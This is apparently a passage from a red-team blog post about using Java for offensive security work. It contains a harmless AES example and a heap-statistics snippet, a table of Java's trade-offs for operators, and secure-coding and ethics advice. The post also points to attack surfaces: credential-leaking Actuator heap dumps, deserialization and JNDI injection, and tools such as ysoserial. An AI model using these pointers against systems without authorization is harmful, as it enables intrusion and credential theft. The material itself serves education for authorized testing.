// Security Note: This demonstrates basic cryptographic operations.
// Always use strong, up-to-date algorithms and proper key management in production.
public class CryptoExample {
    public static void main(String[] args) {
        try {
            // Generate a key for AES encryption
            KeyGenerator keyGen = KeyGenerator.getInstance("AES");
            keyGen.init(256); // Use 256-bit key for strong encryption
            SecretKey secretKey = keyGen.generateKey();

            // Create cipher for encryption
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(Cipher.ENCRYPT_MODE, secretKey);

            String message = "Sensitive red team data";
            byte[] encrypted = cipher.doFinal(message.getBytes());

            // Get the IV for decryption
            byte[] iv = cipher.getIV();

            // Decrypt the message
            cipher.init(Cipher.DECRYPT_MODE, secretKey, new IvParameterSpec(iv));
            byte[] decrypted = cipher.doFinal(encrypted);

            System.out.println("Original: " + message);
            System.out.println("Decrypted: " + new String(decrypted));

        } catch (NoSuchAlgorithmException | NoSuchPaddingException |
                 InvalidKeyException | IllegalBlockSizeException |
                 BadPaddingException | InvalidAlgorithmParameterException e) {
            System.err.println("Cryptographic error: " + e.getMessage());
        }
    }
}

Java memory analysis and exploitation
#

Java’s memory management runs through the JVM’s heap with garbage collection rather than manual allocation. Understanding how the heap is laid out is useful both for performance analysis and for identifying memory-disclosure vulnerabilities (heap dumps from misconfigured Spring Boot Actuators, for example, often contain in-memory credentials and session tokens).

import java.lang.management.*;
import java.util.*;

// Security Note: Memory analysis can reveal sensitive information.
// Only perform on systems you own or have explicit permission to analyze.
public class MemoryAnalyzer {
    public static void main(String[] args) {
        // Get memory usage information
        MemoryMXBean memoryBean = ManagementFactory.getMemoryMXBean();
        MemoryUsage heapUsage = memoryBean.getHeapMemoryUsage();

        System.out.println("Heap Memory Usage:");
        System.out.println("  Initial: " + heapUsage.getInit() / 1024 / 1024 + " MB");
        System.out.println("  Used: " + heapUsage.getUsed() / 1024 / 1024 + " MB");
        System.out.println("  Committed: " + heapUsage.getCommitted() / 1024 / 1024 + " MB");
        System.out.println("  Max: " + heapUsage.getMax() / 1024 / 1024 + " MB");

        // Force garbage collection (for analysis purposes)
        System.gc();

        // Get garbage collection information
        List<GarbageCollectorMXBean> gcBeans = ManagementFactory.getGarbageCollectorMXBeans();
        for (GarbageCollectorMXBean gcBean : gcBeans) {
            System.out.println("GC: " + gcBean.getName() +
                             ", Collections: " + gcBean.getCollectionCount() +
                             ", Time: " + gcBean.getCollectionTime() + "ms");
        }
    }
}

Java pros and cons for pen testers and red teamers
#

Java has real advantages and real costs as an offensive engineering language. The trade-offs below cover where it earns its place and where another language is usually the better choice.

AspectPro sideCon side
Platform reachWrite-once, run-anywhere across Windows, Linux, macOS, anywhere a JVM exists. Useful for cross-platform tooling.JVM behavior can differ subtly across platforms; JNI for native code adds its own portability headaches.
Standard libraryRich built-ins for networking (java.net), crypto (javax.crypto), database (java.sql), file I/O (java.io/java.nio). Reduces what you have to write yourself.Library surface is large enough to be a knowledge tax of its own; expect to spend time learning APIs you’d write in fifty lines elsewhere.
EcosystemMature open-source ecosystem (Apache Commons, Google Guava, OWASP libraries). Most things you need already exist as a battle-tested library.“JAR hell” is real; dependency management via Maven/Gradle adds complexity, and version conflicts in large projects are painful.
Adoption / relevanceJava is everywhere in enterprise: banking, government, Atlassian, Jenkins, Android. Reading Java is a baseline operator skill because targets are running it.Adoption skews enterprise/legacy; Java rarely shows up in startup or modern-greenfield environments.
PerformanceModern HotSpot JVM with JIT and tuned GC produces near-native performance for long-running processes. Suitable for high-throughput tooling.JVM cold start is slow; not a fit for one-off CLI tools or scripts that need to launch quickly. Native (C/Go/Rust) wins on startup and footprint.
Code styleStrong typing, exception handling, and modular design encourage maintainable tools that survive past the engagement they were written for.Verbosity is real; what’s three lines in Python is often fifteen in Java. Slows rapid prototyping noticeably.
Security tooling fitBurp Suite extensions are Java-only (Montoya API). JVM-based target environments need Java-native tooling to interact with them properly.Compiled JAR files decompile easily, so any operator tool you write in Java can be read back by the defender’s analyst with CFR.
Learning curveOO patterns and type system pay off for complex tools you want to maintain. Operators coming from Python or Go can pick up the syntax in a weekend.Steeper for security professionals coming from pure scripting languages; Maven/Gradle and the IDE ecosystem add overhead before the first line of useful code.
Legacy weightBackwards compatibility is unusually strong; code from 2008 mostly still runs in 2026.Same backwards compatibility carries legacy baggage: deprecated APIs, older language features, and decades of security vulnerabilities in libraries that targets haven’t migrated off of.

Java security best practices for red teamers
#

When building Java-based security tools, a few practices keep the tools maintainable and the engagements clean:

Secure Coding Principles
#

  • Input Validation: Always validate and sanitize user inputs to prevent injection attacks
  • Least Privilege: Run applications with minimal required permissions
  • Secure Defaults: Configure security settings securely by default
  • Error Handling: Implement proper exception handling without exposing sensitive information

Tool Development Guidelines
#

  • Modular Design: Create reusable components for different security assessment phases
  • Configuration Management: Externalize sensitive configuration to avoid hardcoding secrets
  • Logging Security: Implement secure logging that doesn’t leak sensitive information
  • Resource Management: Properly manage memory and file handles to prevent resource exhaustion

Ethical and Legal Considerations#

  • Authorization: Only run tools against systems you own or have explicit permission to test
  • Documentation: Maintain detailed records of testing activities and methodologies
  • Responsible Disclosure: Follow proper channels for reporting discovered vulnerabilities
  • Scope Compliance: Adhere strictly to defined testing boundaries and rules of engagement

Performance and Reliability
#

  • Resource Efficiency: Optimize memory usage and avoid unnecessary object creation
  • Thread Safety: Implement proper synchronization in multi-threaded security tools
  • Timeout Handling: Implement appropriate timeouts to prevent hanging operations
  • Graceful Degradation: Handle failures without compromising security

Operator tools built to these standards stay useful past the first engagement they were written for, which is what separates one-off scripts from real tooling.

References
#

Java fundamentals

  • Oracle Java Documentation : comprehensive official documentation for all Java versions
  • OpenJDK : the open-source Java reference implementation
  • Effective Java by Joshua Bloch: the canonical book on writing maintainable Java code

Security and exploitation

Reverse engineering

  • CFR : modern Java decompiler (Lee Benfield)
  • JADX : Android-focused decompiler that also handles regular JARs

Burp extensions

Cryptography

  • Bouncy Castle : comprehensive cryptography library that fills gaps in the standard library
  • Google Tink : Google’s misuse-resistant cryptography library

Build tooling

Where this leaves Java for operators
#

Java sits underneath most of the enterprise software an operator runs into, and that’s what makes it worth knowing. Even when an operator doesn’t write Java themselves, the targets they work against are running Java: Spring Boot applications behind every modern web service, Atlassian’s whole product line, Jenkins, the Android application layer, the long tail of legacy J2EE applications that nobody wants to migrate. Reading other people’s Java is a baseline skill for web engagement work.

Writing Java is more situational. The C-family syntax is familiar enough that picking it up takes a weekend if you already know Python or Go. The verbosity is real, the build tooling (Maven, Gradle) is heavier than what scripting languages need, and the JVM startup cost makes Java a poor choice for one-off CLI tools. Where Java earns its place specifically for operators is in writing Burp Suite extensions (the Montoya API is Java-native), interacting with JVM-based target applications, and building anything that needs to run inside the JVM ecosystem the target is already deploying.

The vulnerability classes covered above (deserialization, JNDI injection, Spring Boot Actuators) are the high-leverage targets when a Java application is in scope. ysoserial for deserialization, JNDI-Exploit-Kit for JNDI work, and CFR or JADX for reverse engineering anything compiled cover most of what comes up on engagement. Knowing the language well enough to read the decompiled output is the difference between identifying that something is Java and understanding what the application does and where its assumptions break down.

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.